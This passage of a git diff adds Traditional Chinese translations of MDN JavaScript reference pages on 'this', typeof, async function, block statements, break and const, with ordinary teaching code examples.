+<p>再以上面的程式碼為例，函數 B 的 <code>this</code> 被設為函數 A 的 <code>this</code>，而它屬於物件，所以它依然會設為 <code>obj</code>，就算在 <code>this</code> 設為 <code>undefined</code> 或全域物件的呼叫方式下（或在全域執行環境下，上例的任何方法）</p>
+
+<h3 id="作為物件方法">作為物件方法</h3>
+
+<p>如果一個函式是以物件的方法呼叫，它的 <code>this</code> 會設為該呼叫函式的物件。</p>
+
+<p>以下面的程式碼為例，呼叫 <code>o.f()</code> 的時候，函式內的 <code>this</code> 會和 <code>o</code> 物件綁定。</p>
+
+<pre class="brush:js">var o = {
+  prop: 37,
+  f: function() {
+    return this.prop;
+  }
+};
+
+console.log(o.f()); // logs 37
+</pre>
+
+<p>請注意這個行為，不會受函式如何或何處定義所影響。以上面為例，在我們定義 <code>o</code> 時，也定義了行內函式 <code>f</code> 作為構件（member）。不過，我們也能先定義函式，接著讓它附屬到 <code>o.f</code>。這麼做會得出相同的效果：</p>
+
+<pre class="brush:js">var o = {prop: 37};
+
+function independent() {
+  return this.prop;
+}
+
+o.f = independent;
+
+console.log(o.f()); // 37
+</pre>
+
+<p>這表明了 <code>this</code> 只和 <code>f</code> 作為 <code>o</code> 的構件呼叫有所關聯。</p>
+
+<p>同樣的，<code>this</code> 綁定只會受最直接的構件引用（most immediate member reference）所影響。在下面的例子，我們將物件 <code>o.b</code> 的方法 <code>g</code> 作為函式呼叫。在執行的期間，函式內的 <code>this</code> 會參照 <code>o.b</code>。物件是否為 <code>o</code> 的構件無關緊要，最直接的引用才是最緊要的。</p>
+
+<pre class="brush:js">o.b = {g: independent, prop: 42};
+console.log(o.b.g()); // logs 42
+</pre>
+
+<h4 id="物件原型鏈上的_this">物件原型鏈上的 <code>this</code></h4>
+
+<p>相同概念也能套用定義物件原型鏈的方法。如果方法放在物件的原型鏈上，<code>this</code> 會指向方法所呼叫的物件，如同該方法在物件上的樣子。</p>
+
+<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
+var p = Object.create(o);
+p.a = 1;
+p.b = 4;
+
+console.log(p.f()); // 5
+</pre>
+
+<p>在這個示例中，分配給變數<code>p</code> 的物件沒有自己的 <code>f</code> 屬性， 它(p)繼承了它(o)的原型。但是查找 <code>f</code> 最終在 <code>o</code>上找到它的成員名為 f 並不重要。查找開始作為 <code>p.f</code>的引用，所以 <code>this</code> 在函式內部物件的值被當作是<code>p</code>的引用。也就是說，<code>f</code> 作為 <code>p</code>的調用方法以來， 它的 <code>this</code> 指的就是 <code>p</code>. 這是一個非常有趣的JavaScript's 原型繼承特性。</p>
+
+<h4 id="帶著_getter_或_setter_的_this">帶著 getter 或 setter 的 <code>this</code></h4>
+
+<p>當函式從 getter 或 setter被調用的時候，同樣的概念也成立。用作 getter 或setter 的函式將自己的 <code>this</code> 綁定到從中設置或獲取的物件上。</p>
+
+<pre class="brush:js">function sum(){
+  return this.a + this.b + this.c;
+}
+
+var o = {
+  a: 1,
+  b: 2,
+  c: 3,
+  get average(){
+    return (this.a + this.b + this.c) / 3;
+  }
+};
+
+Object.defineProperty(o, 'sum', {
+    get: sum, enumerable:true, configurable:true});
+
+console.log(o.average, o.sum); // logs 2, 6
+</pre>
+
+<h3 id="作為建構子">作為建構子</h3>
+
+<p>若函式以建構子的身份呼叫（使用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Operators/new">new</a></code> 關鍵字） <code>this</code> 會和被建構的新物件綁定。</p>
+
+<div class="note">
+<p>建構子預設透過 <code>this</code> 回傳該物件的參照，但它其實能回傳其他物件。如果回傳值不是物件的話，就會回傳 <code>this</code> 這個物件。</p>
+</div>
+
+<pre class="brush:js">/*
+ * 建構子會如此做動：
+ *
+ * function MyConstructor(){
+ *   // 實際的函式主體碼在這裡
+ *   // 在|this| 上創建屬性
+ *   // 希望通過分配給他們，如：
+ *   this.fum = "nom";
+ *   // et cetera...
+ *
+ *   // 如果函式有返回狀態它將返回一個物件
+ *   // 那個物件將是新表達式的結果。
+ *   // 換句話來說，表達式的結果是現在綁定 |this| 的物件
+ *   // (例如，最常見的常見情況).
+ * }
+ */
+
+function C(){
+  this.a = 37;
+}
+
+var o = new C();
+console.log(o.a); // logs 37
+
+
+function C2(){
+  this.a = 37;
+  return {a:38};
+}
+
+o = new C2();
+console.log(o.a); // logs 38
+</pre>
+
+<p>在上例的 <code>C2</code>，由於物件在建構的時候被呼叫，新的物件 <code>this</code> was bound to simply gets discarded。這也實質上令 <code>this.a = 37;</code> 宣告死亡：不是真的死亡（因為已經執行了），但它在毫無 outside effects 的情況下遭到消滅。</p>
+
+<h3 id="作為_DOM_事件處理器">作為 DOM 事件處理器</h3>
+
+<p>當一個函式用作事件處理器的話，<code>this</code> 值會設在觸發事件的元素（某些瀏覽器如果不用 <code>addEventListener</code> 方法的話，在動態添加監聽器時，就不會遵循這個常規）</p>
+
+<pre class="brush:js">// 當監聽器被調用，相關元素變為藍色
+function bluify(e){
+  // 永遠是真
+  console.log(this === e.currentTarget);
+  // 當當前目標和目標為相同物件為真
+  console.log(this === e.target);
+  this.style.backgroundColor = '#A5D9F3';
+}
+
+// 取得文件內所有的元素
+var elements = document.getElementsByTagName('*');
+
+// Add bluify as a click listener so when the
+// element is clicked on, it turns blue
+for(var i=0 ; i&lt;elements.length ; i++){
+  elements[i].addEventListener('click', bluify, false);
+}</pre>
+
+<h3 id="作為行內事件處理器">作為行內事件處理器</h3>
+
+<p>當程式碼從行內的<a href="/zh-TW/docs/Web/Guide/Events/Event_handlers"> on 事件處理器</a>呼叫的話，<code>this</code> 就會設在監聽器所置的 DOM 元素：</p>
+
+<pre class="brush:js">&lt;button onclick="alert(this.tagName.toLowerCase());"&gt;
+  Show this
+&lt;/button&gt;
+</pre>
+
+<p>上方的 alert 會秀出 <code>button</code>。但請注意只有外層程式碼的 <code>this</code> 要這樣設定：</p>
+
+<pre class="brush:js">&lt;button onclick="alert((function(){return this})());"&gt;
+  Show inner this
+&lt;/button&gt;
+</pre>
+
+<p>在這裡，內部函式的並沒有設立 <code>this</code>，所以它會回傳全域／window 物件（例如在非嚴格模式下，呼叫函數沒設定 <code>this</code> 的預設物件）</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-this-keyword', 'The this keyword')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1', '#sec-11.1.1', 'The this keyword')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>初始定義。在 JavaScript 1.0 導入。</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div class="hidden">此頁面上的兼容性數據生成自結構化數據。如果你想為數據做出貢獻，請產看<a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 並且向我們發送拉取請求。</div>
+
+<p>{{Compat("javascript.operators.this")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/JavaScript/Reference/Functions_and_function_scope/Strict_mode">嚴格模式</a></li>
+ <li><a href="http://bjorn.tipling.com/all-this">All this</a>，一篇關於 <code>this</code> 上下文不同的相關文章</li>
+ <li><a href="http://rainsoft.io/gentle-explanation-of-this-in-javascript/">親和地解釋 JavaScript 的「this」關鍵字</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/operators/typeof/index.html b/files/zh-tw/web/javascript/reference/operators/typeof/index.html
new file mode 100644
index 0000000000..d1939e5d4f
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/operators/typeof/index.html
@@ -0,0 +1,177 @@
+---
+title: typeof
+slug: Web/JavaScript/Reference/Operators/typeof
+tags:
+  - 運算子
+translation_of: Web/JavaScript/Reference/Operators/typeof
+---
+<p>{{jsSidebar("Operators")}}</p>
+
+<h2 id="摘要">摘要</h2>
+
+<p style="line-height: 22px;"><span style="line-height: 1.572;">typeof 運算子會傳回一個字串值, 指出未經運算 (unevaluated) 的運算元所代表的型別。</span></p>
+
+<table class="standard-table" style="line-height: 22px;">
+ <thead>
+  <tr>
+   <th colspan="2" scope="col">運算子</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>實作於:</td>
+   <td>JavaScript 1.1</td>
+  </tr>
+  <tr>
+   <td>ECMA 版本:</td>
+   <td>ECMA-262 (以及 ECMA-357 for E4X objects)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<p style="line-height: 22px;"><code style="font-size: 14px;">typeof</code> 之後面跟著它的唯一運算元:</p>
+
+<pre style="font-size: 14px;"><code style="font-size: 14px;">typeof <code style="font-size: 14px;"><em>operand</em></code></code></pre>
+
+<h2 id="Parameters" name="Parameters" style="margin: 0px 0px 0.8em; padding: 0px;">參數</h2>
+
+<div><code style="line-height: inherit; font-size: 14px;"><em>operand</em></code><span style="line-height: inherit;"> 表示式代表傳入的物件或原始型別。</span></div>
+
+<h2 id="Description" name="Description">說明</h2>
+
+<p>下表摘要列出了 <code>typeof 可能的傳回值</code>:</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">型別</th>
+   <th scope="col">傳回</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>Undefined</td>
+   <td><code>"undefined"</code></td>
+  </tr>
+  <tr>
+   <td>Null</td>
+   <td><code>"object"</code></td>
+  </tr>
+  <tr>
+   <td>Boolean</td>
+   <td><code>"boolean"</code></td>
+  </tr>
+  <tr>
+   <td>Number</td>
+   <td><code>"number"</code></td>
+  </tr>
+  <tr>
+   <td>String</td>
+   <td><code>"string"</code></td>
+  </tr>
+  <tr>
+   <td>主機端物件 (由 JS 執行環境提供)</td>
+   <td><em>視實作方式而異</em></td>
+  </tr>
+  <tr>
+   <td>Function 物件 (實作 ECMA-262 所定義的 [[Call]])</td>
+   <td><code>"function"</code></td>
+  </tr>
+  <tr>
+   <td>E4X XML 物件</td>
+   <td>"xml"</td>
+  </tr>
+  <tr>
+   <td>E4X XMLList 物件</td>
+   <td>"xml"</td>
+  </tr>
+  <tr>
+   <td>所有其它物件</td>
+   <td><code>"object"</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="一般情況">一般情況</h3>
+
+<pre class="brush:js">// Numbers
+typeof 37 === 'number';
+typeof 3.14 === 'number';
+typeof Math.LN2 === 'number';
+typeof Infinity === 'number';
+typeof NaN === 'number'; // 雖然是 "Not-A-Number"
+typeof Number(1) === 'number'; // 但是不要使用這種方式!
+
+// Strings
+typeof "" === 'string';
+typeof "bla" === 'string';
+typeof (typeof 1) === 'string'; // typeof 一律會傳回一個字串
+typeof String("abc") === 'string'; // 但是不要使用這種方式!
+
+// Booleans
+typeof true === 'boolean';
+typeof false === 'boolean';
+typeof Boolean(true) === 'boolean'; // 但是不要使用這種方式!
+
+// Undefined
+typeof undefined === 'undefined';
+typeof blabla === 'undefined'; // 一個 undefined 變數
+
+// Objects
+typeof {a:1} === 'object';
+typeof [1, 2, 4] === 'object'; // 請使用 Array.isArray 或者 Object.prototype.toString.call 以區分正規運算式和陣列
+typeof new Date() === 'object';
+
+typeof new Boolean(true) === 'object'; // 這樣會令人混淆。不要這樣用!
+typeof new Number(1) === 'object'; // 這樣會令人混淆。不要這樣用!
+typeof new String("abc") === 'object';  // 這樣會令人混淆。不要這樣用!
+
+// Functions
+typeof function(){} === 'function';
+typeof Math.sin === 'function';
+</pre>
+
+<h3 id="null"><code>null</code></h3>
+
+<pre class="brush:js">typeof null === 'object'; // 自從有 JavaScript 開始就是這樣了
+</pre>
+
+<p>自從 JavaScript 一開始出現, JavaScript 的值就總以型別標簽跟著一個值的方式表示。物件的型別標簽是 0. 而 <code>null</code> 這個值是使用 NULL 指標 (在大部份平台上是 0x00) 來表示. 因此, null 看起來像是一個以 0 為型別標簽的值, 並使得 <code>typeof</code> 傳回不甚正確的結果. (<a href="http://www.2ality.com/2013/10/typeof-null.html">參考來源</a>)</p>
+
+<p>這個問題已計畫<a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:typeof_null">在下一版 ECMAScript 予以修正</a> (會以 opt-in 方式提供). 屆時它將會做出如 <code>typeof null === 'null'</code> 的正確回傳結果。</p>
+
+<div class="note">
+<p>註: 此修正計畫已被拒絕</p>
+</div>
+
+<h3 id="正規表示式_(Regular_expressions)">正規表示式 (Regular expressions)</h3>
+
+<p>可呼叫的正規表示式在某些瀏覽器上面必須借助非正式插件 (need reference to say which).</p>
+
+<pre class="brush:js">typeof /s/ === 'function'; // Chrome 1-12 ... // 不符合 ECMAScript 5.1 (譯註: 在新版 Chrome 已修正為 'object')
+typeof /s/ === 'object'; // Firefox 5+ ...    // 符合 ECMAScript 5.1
+</pre>
+
+<h3 id="其它怪異輸入_(quirks)">其它怪異輸入 (quirks)</h3>
+
+<h4 id="舊版_Internet_Explorer_請留意_alert_函數">舊版 Internet Explorer 請留意 alert 函數</h4>
+
+<p>在 IE 6, 7 和 8, <code>typeof alert === 'object'</code></p>
+
+<div class="note">
+<p>註: 這並不怪異。這是實情。在許多較舊的 IE 中, 主機端物件的確是物件, 而非函數</p>
+</div>
+
+<h2 id="規格">規格</h2>
+
+<p><a class="external" href="http://ecma-international.org/ecma-262/5.1/#sec-11.4.3">ECMA-262 section 11.4.3</a></p>
+
+<h2 id="See_also" name="See_also">參照</h2>
+
+<ul>
+ <li><a href="/en-US/docs/JavaScript/Reference/Operators/instanceof" title="/en-US/docs/JavaScript/Reference/Operators/instanceof">instanceof</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/async_function/index.html b/files/zh-tw/web/javascript/reference/statements/async_function/index.html
new file mode 100644
index 0000000000..ced67f4a09
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/async_function/index.html
@@ -0,0 +1,163 @@
+---
+title: async function
+slug: Web/JavaScript/Reference/Statements/async_function
+tags:
+  - JavaScript
+  - 函式
+  - 實驗
+  - 範例
+  - 陳述
+translation_of: Web/JavaScript/Reference/Statements/async_function
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<p><code><strong>async function</strong></code> 宣告被定義為一個回傳 {{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}} 物件的<em>非同步函式</em> 。</p>
+
+<div class="noinclude">
+<p>你也可以使用 {{jsxref("Operators/async_function", "async function expression", "", 1)}} 來定義一個<em>非同步函式</em>。</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">async function <em>name</em>([<em>param</em>[, <em>param</em>[, ... <em>param</em>]]]) {
+   <em>statements</em>
+}
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>name</code></dt>
+ <dd>函式名稱。</dd>
+</dl>
+
+<dl>
+ <dt><code>param</code></dt>
+ <dd>傳遞至函式的參數名稱。</dd>
+</dl>
+
+<dl>
+ <dt><code>statements</code></dt>
+ <dd>組成該函式主體的陳述。</dd>
+</dl>
+
+<h3 id="回傳值">回傳值</h3>
+
+<p>{{jsxref("Global_Objects/AsyncFunction","AsyncFunction")}} 物件，代表著一個非同步函式，該函式會執行該函式內的程式碼。</p>
+
+<h2 id="描述">描述</h2>
+
+<p>當 <code>async</code> 函式被呼叫時，它會回傳一個 {{jsxref("Promise")}}。如果該 <code>async</code> 函式回傳了一個值，<code>Promise</code> 的狀態將為一個帶有該回傳值的 resolved。如果 <code>async</code> 函式拋出例外或某個值，<code>Promise</code> 的狀態將為一個帶有被拋出值的 rejected。</p>
+
+<p>async 函式內部可以使用 {{jsxref("Operators/await", "await")}} 表達式，它會暫停此 async 函式的執行，並且等待傳遞至表達式的 Promise 的解析，解析完之後會回傳解析值，並繼續此 async 函式的執行。</p>
+
+<div class="note">
+<p><code>async/await</code> 函式的目的在於簡化同步操作 promise 的表現，以及對多個 <code>Promise</code> 物件執行某些操作。就像 <code>Promise 類似於具結構性的回呼函式，同樣地，async/await 好比將 generator 與 promise 組合起來。</code></p>
+</div>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="簡單範例">簡單範例</h3>
+
+<pre class="brush: js">function resolveAfter2Seconds(x) {
+  return new Promise(resolve =&gt; {
+    setTimeout(() =&gt; {
+      resolve(x);
+    }, 2000);
+  });
+}
+
+
+async function add1(x) {
+  const a = await resolveAfter2Seconds(20);
+  const b = await resolveAfter2Seconds(30);
+  return x + a + b;
+}
+
+add1(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 4 seconds.
+});
+
+
+async function add2(x) {
+  const p_a = resolveAfter2Seconds(20);
+  const p_b = resolveAfter2Seconds(30);
+  return x + await p_a + await p_b;
+}
+
+add2(10).then(v =&gt; {
+  console.log(v);  // prints 60 after 2 seconds.
+});
+</pre>
+
+<div class="warning">
+<h4 id="不要誤解_Promise.all_的_await">不要誤解 <code>Promise.all</code> 的 <code>await</code></h4>
+
+<p>在 <code>add1</code> 裡，該執行為了第一個 <code>await</code> 而暫停了兩秒，接著為了第二個 <code>await</code> 又暫停了兩秒。在第一個計時器（timer）被觸發前，第二個計時器並不會被建立。而在 <code>add2</code> 裡，兩個計時器都被建立起來、也都執行 <code>await</code> 過了。這把它帶往了 resolve 所的 2 秒暫停、而不是 4 秒暫停。然而這兩個 <code>await</code> 呼叫都在連續運行，而非平行運行。<code>await</code> <strong>並不是</strong> <code>Promise.all</code> 的自動程式。如果你想讓兩個、甚至兩個以上的 <code>await</code> promises 同時執行（in parallel），你必須使用 <code>Promise.all</code>.</p>
+</div>
+
+<h3 id="使用_async_function_改寫_promise_鏈">使用 async function 改寫 promise 鏈</h3>
+
+<p>一個 API 呼叫所回傳的 {{jsxref("Promise")}} 會導致一個 promise 鏈，將函式分隔成多個部份。考慮下列的程式碼：</p>
+
+<pre class="brush: js">function getProcessedData(url) {
+  return downloadData(url) // returns a promise
+    .catch(e =&gt; {
+      return downloadFallbackData(url); // returns a promise
+    })
+    .then(v =&gt; {
+      return processDataInWorker(v); // returns a promise
+    });
+}
+</pre>
+
+<p>它可以用一個簡單的 <code>async function</code> 來改寫成這樣：</p>
+
+<pre class="brush: js">async function getProcessedData(url) {
+  let v;
+  try {
+    v = await downloadData(url);
+  } catch(e) {
+    v = await downloadFallbackData(url);
+  }
+  return processDataInWorker(v);
+}
+</pre>
+
+<p>注意上方的範例，在 return 陳述中沒有使用 await 陳述，這是因為 async function 的回傳值隱含地被包裝於 {{jsxref("Promise.resolve")}} 之中。</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註解</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-async-function-definitions', 'async function')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Initial definition in ES2017.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.statements.async_function")}}</p>
+</div>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Operators/async_function", "async function expression")}}</li>
+ <li>{{jsxref("AsyncFunction")}} 物件</li>
+ <li>{{jsxref("Operators/await", "await")}}</li>
+ <li><a href="http://innolitics.com/10x/javascript-decorators-for-promise-returning-functions/">"Decorating Async Javascript Functions" on "innolitics.com"</a></li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/block/index.html b/files/zh-tw/web/javascript/reference/statements/block/index.html
new file mode 100644
index 0000000000..62a09df015
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/block/index.html
@@ -0,0 +1,86 @@
+---
+title: 區塊
+slug: Web/JavaScript/Reference/Statements/block
+translation_of: Web/JavaScript/Reference/Statements/block
+---
+<p>{{jsSidebar("Statements")}}</p>
+
+<h2 id="總覽">總覽</h2>
+
+<p>區塊陳述用來組合零個或多個陳述。我們使用一對大括號 { } 以界定區塊。</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header" colspan="2">陳述句</td>
+  </tr>
+  <tr>
+   <td>Implemented in</td>
+   <td>JavaScript 1.0</td>
+  </tr>
+  <tr>
+   <td>ECMAScript edition</td>
+   <td>ECMA-262 1st edition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">{
+  <var>陳述_1</var>
+  <var>陳述_2</var>
+  ...
+  <var>陳述_n</var>
+}
+</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><code>陳述_1</code>, <code>陳述_2</code>, <code>陳述_n</code></dt>
+ <dd>區塊陳述中的陳述句群。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>區塊陳述通常配合流程控制陳述（如 <code>if</code>、<code>for</code>、<code>while</code>）一併使用。</p>
+
+<h4 id="var"><code>var</code></h4>
+
+<p>使用<code>var</code>區塊中定義的變數，其存取範圍是整個整個函式或是腳本，即為Execution Context的範圍中。</p>
+
+<pre class="brush: js">var x = 1;
+{
+  var x = 2;
+}
+alert(x); // outputs 2
+</pre>
+
+<p>輸出結果是 2。因為var是宣告於整個腳本範圍中。</p>
+
+<h4 id="let_和_const"><code>let </code>和 <code>const</code></h4>
+
+<p>當使用<code>let</code>或是<code>const</code>進行宣告時，其存取範圍是只有本身定義的區塊中。</p>
+
+<pre class="brush: js line-numbers  language-js"><code class="language-js"><span class="keyword token">let</span> x <span class="operator token">=</span> <span class="number token">1</span><span class="punctuation token">;</span>
+<span class="punctuation token">{</span>
+  <span class="keyword token">let</span> x <span class="operator token">=</span> <span class="number token">2</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span>
+console<span class="punctuation token">.</span><span class="function token">log</span><span class="punctuation token">(</span>x<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="comment token">// logs 1</span></code></pre>
+
+<h4 id="function"><code>function</code></h4>
+
+<p>當function被呼叫時，會建立此function的Execution Context，因此在function區塊使用<code>var</code>整個function區塊中都可對其進行存取。</p>
+
+<pre class="brush: js">function foo() {
+    {
+        var a = 'var';
+        {
+            let a = 'let';
+            console.log(a);  // let
+        }
+    }
+    console.log(a);  // var
+}
+foo();</pre>
diff --git a/files/zh-tw/web/javascript/reference/statements/break/index.html b/files/zh-tw/web/javascript/reference/statements/break/index.html
new file mode 100644
index 0000000000..ff72f9d25b
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/break/index.html
@@ -0,0 +1,120 @@
+---
+title: break
+slug: Web/JavaScript/Reference/Statements/break
+tags:
+  - JavaScript
+  - Statement
+translation_of: Web/JavaScript/Reference/Statements/break
+---
+<p>{{jsSidebar("Statements")}}</p>
+
+<p><strong>break 陳述句</strong>會中斷目前的迭代、{{jsxref("Statements/switch", "switch")}} 或 {{jsxref("Statements/label", "label")}} 陳述句，並將程式流程轉到被中斷之陳述句後的陳述句。</p>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-break.html")}}</div>
+
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox"><code>break [<em>label</em>];</code></pre>
+
+<dl>
+ <dt><code>label</code></dt>
+ <dd>可選的。欲中斷陳述句的標籤 (label) 識別。若不是要中斷迭代或 {{jsxref("Statements/switch", "switch")}}，則需加此參數。</dd>
+</dl>
+
+<h2 id="說明">說明</h2>
+
+<p>中斷陳述 <code>break</code> 可加上標籤 (label) 參數，使其跳出被標籤的陳述語句。此中斷陳述 <code>break</code> 必須被包含在被標籤的陳述語句中。被標籤的陳述語句可被添加於任一個區塊 (<a class="internal" href="/en-US/docs/JavaScript/Reference/Statements/block" title="JavaScript/Reference/Statements/Block">block</a>) 前，而非限定在迴圈陳述。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>下面函式包含一個中斷陳述 <code>break</code> ，當 <code>i</code> 值為 3 時，中斷 <code>while</code> 迴圈，並回傳 <code>3 * x</code> 。</p>
+
+<pre class="brush:js;highlight:[6];">function testBreak(x) {
+  var i = 0;
+
+  while (i &lt; 6) {
+    if (i == 3) {
+      break;
+    }
+    i += 1;
+  }
+
+  return i * x;
+}</pre>
+
+<p>The following code uses <code>break</code> statements with labeled blocks. A <code>break</code> statement must be nested within any label it references. Notice that <code>inner_block</code> is nested within <code>outer_block</code>.</p>
+
+<pre class="brush:js;highlight:[1,2,4];">outer_block: {
+  inner_block: {
+    console.log('1');
+    break outer_block; // breaks out of both inner_block and outer_block
+    console.log(':-('); // skipped
+  }
+  console.log('2'); // skipped
+}
+</pre>
+
+<p>The following code also uses <code>break</code> statements with labeled blocks but generates a Syntax Error because its <code>break</code> statement is within <code>block_1</code> but references <code>block_2</code>. A <code>break</code> statement must always be nested within any label it references.</p>
+
+<pre class="brush:js;highlight:[1,3,6];">block_1: {
+  console.log('1');
+  break block_2; // SyntaxError: label not found
+}
+
+block_2: {
+  console.log('2');
+}
+</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Unlabeled version.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Labeled version added.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-12.8', 'Break statement')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-break-statement', 'Break statement')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+
+
+<p>{{Compat("javascript.statements.break")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{jsxref("Statements/continue", "continue")}}</li>
+ <li>{{jsxref("Statements/label", "label")}}</li>
+ <li>{{jsxref("Statements/switch", "switch")}}</li>
+</ul>
diff --git a/files/zh-tw/web/javascript/reference/statements/const/index.html b/files/zh-tw/web/javascript/reference/statements/const/index.html
new file mode 100644
index 0000000000..831a69155c
--- /dev/null
+++ b/files/zh-tw/web/javascript/reference/statements/const/index.html
@@ -0,0 +1,129 @@
+---
+title: const
+slug: Web/JavaScript/Reference/Statements/const
+translation_of: Web/JavaScript/Reference/Statements/const
+---
+<div>{{jsSidebar("Statements")}}</div>
+
+<div>Constants (常數) 有點像使用 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let">let</a></code> 所宣告的變數，具有區塊可視範圍。常數不能重複指定值，也不能重複宣告。</div>
+
+<div>{{EmbedInteractiveExample("pages/js/statement-const.html")}}</div>
+
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">const <em>name1 = <em>value1 [</em>, <em>name2</em> = <em>value2</em><em> [</em>, ... [</em>, <em>nameN</em> = <em>valueN]]]</em>;</pre>
+
+<dl>
+ <dt><code>nameN</code></dt>
+ <dd>常數的名稱，可以是任何合法的 {{Glossary("identifier")}}。</dd>
+ <dt><code>valueN</code></dt>
+ <dd>常數的值，可以是任何合法的 <a href="/zh-TW/docs/Web/JavaScript/Guide/Expressions_and_Operators#Expressions">expression</a>, 包括 function expression。</dd>
+</dl>
+
+<h2 id="描述">描述</h2>
+
+<p>上述宣告建立一個常數，它的可視範圍可能是全域的，或是在它所宣告的區域區塊中。 和 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/var">var</a></code> 變數不同的是，全域的常數不會變成 window 物件的屬性。常數必須要初始化；也就是說，你必須在宣告常數的同一個敘述式中指定這個常數的值。(這很合理，因為稍後就不能再變更常數的值了)</p>
+
+<p>宣告 <strong><code>const</code></strong> 會對於它的值建立一個唯讀的參考。並不是說這個值不可變更，而是這個變數不能再一次指定值。例如，假設常數的內容(值)是個物件，那麼此物件的內容(物件的參數)是可以更改的。</p>
+
+<p>所有關於 "<a href="https://developer.mozilla.org/zh-TW/docs/Web/JavaScript/Reference/Statements/let#Temporal_dead_zone_and_errors_with_let">temporal dead zone</a>" 的狀況，都適用於 <code><a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let">let</a></code> and <code>const</code> 。</p>
+
+<p>在相同的可視範圍內，常數不能和函數，變數具有相同名稱。</p>
+
+<h2 id="範例">範例</h2>
+
+<p>以下範例展示常數的行為。請在你的瀏覽器中試試以下程式碼。</p>
+
+<pre class="brush:js">// 注意: 常數可以宣告成大寫或小寫,
+// 但習慣上使用全部大寫的字母。
+
+// 定義一個常數 MY_FAV 並賦予它的值為7
+const MY_FAV = 7;
+
+// 這裡會發生錯誤 - Uncaught TypeError: Assignment to constant variable.
